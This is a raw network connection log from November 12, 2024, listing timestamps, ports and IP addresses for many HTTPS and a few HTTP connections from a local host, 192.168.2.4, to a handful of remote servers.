Nov 12, 2024 21:22:02.514043093 CET	443	49775	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:02.514117002 CET	49775	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:02.514260054 CET	49774	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:02.514272928 CET	443	49774	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:02.514278889 CET	49775	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:02.514291048 CET	443	49775	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:02.523413897 CET	443	49772	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:02.523874998 CET	443	49772	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:02.523932934 CET	49772	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:02.523972988 CET	49772	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:02.523982048 CET	443	49772	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:02.523998022 CET	49772	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:02.524002075 CET	443	49772	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:02.526179075 CET	49776	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:02.526206017 CET	443	49776	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:02.526271105 CET	49776	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:02.526382923 CET	49776	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:02.526396036 CET	443	49776	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:03.242428064 CET	443	49775	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:03.244221926 CET	49775	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:03.244259119 CET	443	49775	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:03.244851112 CET	49775	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:03.244857073 CET	443	49775	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:03.248708010 CET	443	49773	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:03.249124050 CET	49773	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:03.249136925 CET	443	49773	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:03.249514103 CET	49773	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:03.249519110 CET	443	49773	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:03.256220102 CET	443	49774	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:03.257031918 CET	49774	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:03.257046938 CET	443	49774	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:03.257384062 CET	49774	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:03.257390022 CET	443	49774	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:03.260334969 CET	443	49776	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:03.263446093 CET	49776	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:03.263465881 CET	443	49776	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:03.264010906 CET	49776	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:03.264015913 CET	443	49776	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:03.378509998 CET	443	49773	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:03.378602028 CET	443	49773	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:03.378710032 CET	49773	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:03.378976107 CET	49773	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:03.378994942 CET	443	49773	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:03.379005909 CET	49773	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:03.379010916 CET	443	49773	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:03.381485939 CET	49777	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:03.381532907 CET	443	49777	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:03.381730080 CET	49777	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:03.381889105 CET	49777	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:03.381905079 CET	443	49777	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:03.389592886 CET	443	49775	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:03.389621019 CET	443	49774	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:03.389715910 CET	443	49775	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:03.389791965 CET	443	49774	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:03.389853954 CET	49774	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:03.389854908 CET	49775	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:03.389987946 CET	49774	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:03.389988899 CET	49775	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:03.389997005 CET	443	49775	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:03.390003920 CET	443	49774	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:03.390011072 CET	49775	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:03.390016079 CET	443	49775	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:03.390016079 CET	49774	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:03.390022039 CET	443	49774	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:03.392360926 CET	49778	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:03.392379999 CET	443	49776	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:03.392394066 CET	443	49778	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:03.392442942 CET	443	49776	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:03.392472982 CET	49778	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:03.392503977 CET	49776	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:03.392568111 CET	49776	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:03.392579079 CET	443	49776	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:03.392587900 CET	49776	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:03.392592907 CET	443	49776	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:03.393750906 CET	49778	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:03.393767118 CET	443	49778	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:03.394445896 CET	49779	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:03.394460917 CET	443	49779	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:03.394645929 CET	49780	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:03.394665003 CET	443	49780	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:03.394692898 CET	49779	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:03.394723892 CET	49780	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:03.394752026 CET	49779	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:03.394763947 CET	443	49779	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:03.394889116 CET	49780	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:03.394901991 CET	443	49780	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:03.813608885 CET	49781	80	192.168.2.4	185.215.113.43
Nov 12, 2024 21:22:03.819103003 CET	80	49781	185.215.113.43	192.168.2.4
Nov 12, 2024 21:22:03.819168091 CET	49781	80	192.168.2.4	185.215.113.43
Nov 12, 2024 21:22:03.819300890 CET	49781	80	192.168.2.4	185.215.113.43
Nov 12, 2024 21:22:03.824183941 CET	80	49781	185.215.113.43	192.168.2.4
Nov 12, 2024 21:22:04.024900913 CET	49723	80	192.168.2.4	2.22.50.144
Nov 12, 2024 21:22:04.024934053 CET	49724	80	192.168.2.4	93.184.221.240
Nov 12, 2024 21:22:04.031543016 CET	80	49723	2.22.50.144	192.168.2.4
Nov 12, 2024 21:22:04.031658888 CET	49723	80	192.168.2.4	2.22.50.144
Nov 12, 2024 21:22:04.031749964 CET	80	49724	93.184.221.240	192.168.2.4
Nov 12, 2024 21:22:04.031806946 CET	49724	80	192.168.2.4	93.184.221.240
Nov 12, 2024 21:22:04.130125046 CET	443	49777	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:04.130641937 CET	49777	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:04.130659103 CET	443	49777	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:04.131200075 CET	49777	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:04.131206036 CET	443	49777	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:04.139071941 CET	443	49779	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:04.139331102 CET	49779	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:04.139344931 CET	443	49779	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:04.139641047 CET	49779	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:04.139647007 CET	443	49779	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:04.139909029 CET	443	49778	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:04.140144110 CET	49778	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:04.140163898 CET	443	49778	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:04.140453100 CET	49778	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:04.140458107 CET	443	49778	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:04.143570900 CET	443	49780	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:04.143784046 CET	49780	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:04.143806934 CET	443	49780	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:04.144090891 CET	49780	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:04.144098043 CET	443	49780	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:04.266871929 CET	443	49777	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:04.267182112 CET	443	49777	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:04.267268896 CET	49777	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:04.267268896 CET	49777	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:04.267288923 CET	49777	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:04.267297983 CET	443	49777	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:04.269512892 CET	49783	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:04.269539118 CET	443	49783	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:04.269608974 CET	49783	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:04.269876003 CET	49783	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:04.269892931 CET	443	49783	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:04.271437883 CET	443	49779	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:04.272520065 CET	443	49779	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:04.272583008 CET	49779	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:04.272583008 CET	49779	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:04.272603989 CET	49779	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:04.272608042 CET	443	49779	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:04.274152994 CET	443	49778	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:04.274214983 CET	443	49780	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:04.274271011 CET	443	49780	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:04.274322033 CET	49780	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:04.274326086 CET	443	49778	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:04.274377108 CET	49778	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:04.274442911 CET	49780	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:04.274456024 CET	443	49780	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:04.274466991 CET	49780	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:04.274472952 CET	443	49780	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:04.277868032 CET	49784	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:04.277898073 CET	443	49784	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:04.277956009 CET	49784	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:04.278136969 CET	49784	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:04.278146029 CET	443	49784	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:04.278202057 CET	49778	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:04.278202057 CET	49778	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:04.278213978 CET	443	49778	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:04.278223991 CET	443	49778	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:04.280184031 CET	49785	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:04.280220985 CET	443	49785	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:04.280286074 CET	49785	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:04.280446053 CET	49785	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:04.280462027 CET	443	49785	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:04.281322956 CET	49786	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:04.281339884 CET	443	49786	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:04.281567097 CET	49786	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:04.281709909 CET	49786	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:04.281722069 CET	443	49786	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:04.843189001 CET	80	49781	185.215.113.43	192.168.2.4
Nov 12, 2024 21:22:04.843246937 CET	49781	80	192.168.2.4	185.215.113.43
Nov 12, 2024 21:22:05.160541058 CET	443	49786	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:05.161047935 CET	49786	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:05.161082983 CET	443	49786	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:05.161139011 CET	443	49785	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:05.161195993 CET	443	49784	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:05.161461115 CET	49785	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:05.161489010 CET	443	49785	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:05.161823034 CET	49784	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:05.161830902 CET	443	49784	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:05.162970066 CET	49786	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:05.162976027 CET	443	49786	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:05.163009882 CET	49785	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:05.163017988 CET	443	49785	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:05.163136959 CET	49784	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:05.163141012 CET	443	49784	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:05.290924072 CET	443	49783	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:05.291537046 CET	49783	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:05.291559935 CET	443	49783	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:05.292068005 CET	49783	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:05.292073965 CET	443	49783	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:05.292315006 CET	443	49786	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:05.292684078 CET	443	49786	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:05.292748928 CET	49786	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:05.292752028 CET	443	49785	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:05.292779922 CET	49786	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:05.292793036 CET	443	49786	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:05.292823076 CET	49786	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:05.292828083 CET	443	49786	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:05.292907953 CET	443	49785	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:05.292958021 CET	49785	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:05.293004036 CET	49785	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:05.293025017 CET	443	49785	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:05.293035030 CET	49785	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:05.293040991 CET	443	49785	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:05.295809984 CET	49787	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:05.295834064 CET	443	49787	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:05.295916080 CET	49788	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:05.295927048 CET	49787	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:05.295958042 CET	443	49788	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:05.296051979 CET	49787	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:05.296066999 CET	443	49787	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:05.296080112 CET	49788	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:05.296222925 CET	49788	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:05.296236992 CET	443	49788	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:05.305351019 CET	443	49784	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:05.305986881 CET	443	49784	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:05.306035042 CET	49784	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:05.306060076 CET	49784	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:05.306066036 CET	443	49784	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:05.306075096 CET	49784	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:05.306080103 CET	443	49784	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:05.308023930 CET	49789	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:05.308058023 CET	443	49789	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:05.309257984 CET	49789	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:05.309396029 CET	49789	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:05.309408903 CET	443	49789	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:05.424668074 CET	443	49783	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:05.424757004 CET	443	49783	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:05.424979925 CET	49783	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:05.425101995 CET	49783	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:05.425122023 CET	443	49783	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:05.425132990 CET	49783	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:05.425138950 CET	443	49783	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:05.427829027 CET	49790	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:05.427849054 CET	443	49790	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:05.427931070 CET	49790	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:05.428076982 CET	49790	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:05.428087950 CET	443	49790	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:06.033442020 CET	443	49788	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:06.035469055 CET	49788	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:06.035497904 CET	443	49788	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:06.035953999 CET	49788	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:06.035962105 CET	443	49788	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:06.037170887 CET	443	49787	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:06.037621975 CET	49787	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:06.037640095 CET	443	49787	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:06.038018942 CET	49787	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:06.038024902 CET	443	49787	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:06.156632900 CET	443	49790	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:06.157305002 CET	49790	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:06.157340050 CET	443	49790	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:06.157717943 CET	49790	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:06.157725096 CET	443	49790	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:06.163436890 CET	443	49788	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:06.163804054 CET	443	49788	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:06.163850069 CET	49788	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:06.164140940 CET	49788	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:06.164160967 CET	443	49788	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:06.164181948 CET	49788	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:06.164189100 CET	443	49788	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:06.167769909 CET	49791	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:06.167814970 CET	443	49791	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:06.167884111 CET	49791	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:06.168103933 CET	49791	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:06.168118000 CET	443	49791	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:06.170552969 CET	443	49787	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:06.170942068 CET	443	49787	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:06.170986891 CET	49787	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:06.171045065 CET	49787	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:06.171058893 CET	443	49787	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:06.171068907 CET	49787	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:06.171076059 CET	443	49787	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:06.176702976 CET	49792	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:06.176738977 CET	443	49792	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:06.176795959 CET	49792	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:06.176954985 CET	49792	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:06.176968098 CET	443	49792	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:06.291955948 CET	443	49790	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:06.292252064 CET	443	49790	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:06.292320967 CET	49790	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:06.292361975 CET	49790	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:06.292382002 CET	443	49790	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:06.292395115 CET	49790	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:06.292402029 CET	443	49790	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:06.294843912 CET	49793	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:06.294887066 CET	443	49793	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:06.294960976 CET	49793	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:06.295244932 CET	49793	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:06.295259953 CET	443	49793	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:06.353790998 CET	49781	80	192.168.2.4	185.215.113.43
Nov 12, 2024 21:22:06.354073048 CET	49794	80	192.168.2.4	185.215.113.43
Nov 12, 2024 21:22:06.358984947 CET	80	49794	185.215.113.43	192.168.2.4
Nov 12, 2024 21:22:06.359056950 CET	49794	80	192.168.2.4	185.215.113.43
Nov 12, 2024 21:22:06.359209061 CET	49794	80	192.168.2.4	185.215.113.43
Nov 12, 2024 21:22:06.359512091 CET	80	49781	185.215.113.43	192.168.2.4
Nov 12, 2024 21:22:06.359558105 CET	49781	80	192.168.2.4	185.215.113.43
Nov 12, 2024 21:22:06.363996029 CET	80	49794	185.215.113.43	192.168.2.4
Nov 12, 2024 21:22:06.891839027 CET	443	49791	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:06.892400026 CET	49791	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:06.892441034 CET	443	49791	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:06.892857075 CET	49791	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:06.892863035 CET	443	49791	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:06.911998034 CET	443	49792	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:06.912264109 CET	49792	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:06.912288904 CET	443	49792	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:06.912591934 CET	49792	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:06.912597895 CET	443	49792	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:07.021310091 CET	443	49791	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:07.021365881 CET	443	49791	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:07.021437883 CET	49791	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:07.021610022 CET	49791	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:07.021627903 CET	443	49791	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:07.021637917 CET	49791	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:07.021645069 CET	443	49791	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:07.024372101 CET	49795	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:07.024419069 CET	443	49795	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:07.024507999 CET	49795	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:07.024694920 CET	49795	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:07.024701118 CET	443	49795	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:07.025022984 CET	443	49793	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:07.025475025 CET	49793	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:07.025484085 CET	443	49793	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:07.025886059 CET	49793	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:07.025890112 CET	443	49793	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:07.041985989 CET	443	49792	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:07.042732000 CET	443	49792	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:07.042789936 CET	49792	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:07.042818069 CET	49792	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:07.042833090 CET	443	49792	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:07.042843103 CET	49792	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:07.042848110 CET	443	49792	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:07.044821024 CET	49796	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:07.044862986 CET	443	49796	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:07.044940948 CET	49796	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:07.045051098 CET	49796	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:07.045057058 CET	443	49796	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:07.156732082 CET	443	49793	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:07.156832933 CET	443	49793	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:07.156891108 CET	49793	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:07.157035112 CET	49793	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:07.157052994 CET	443	49793	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:07.157063961 CET	49793	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:07.157069921 CET	443	49793	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:07.159929037 CET	49797	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:07.159996986 CET	443	49797	13.107.246.45	192.168.2.4
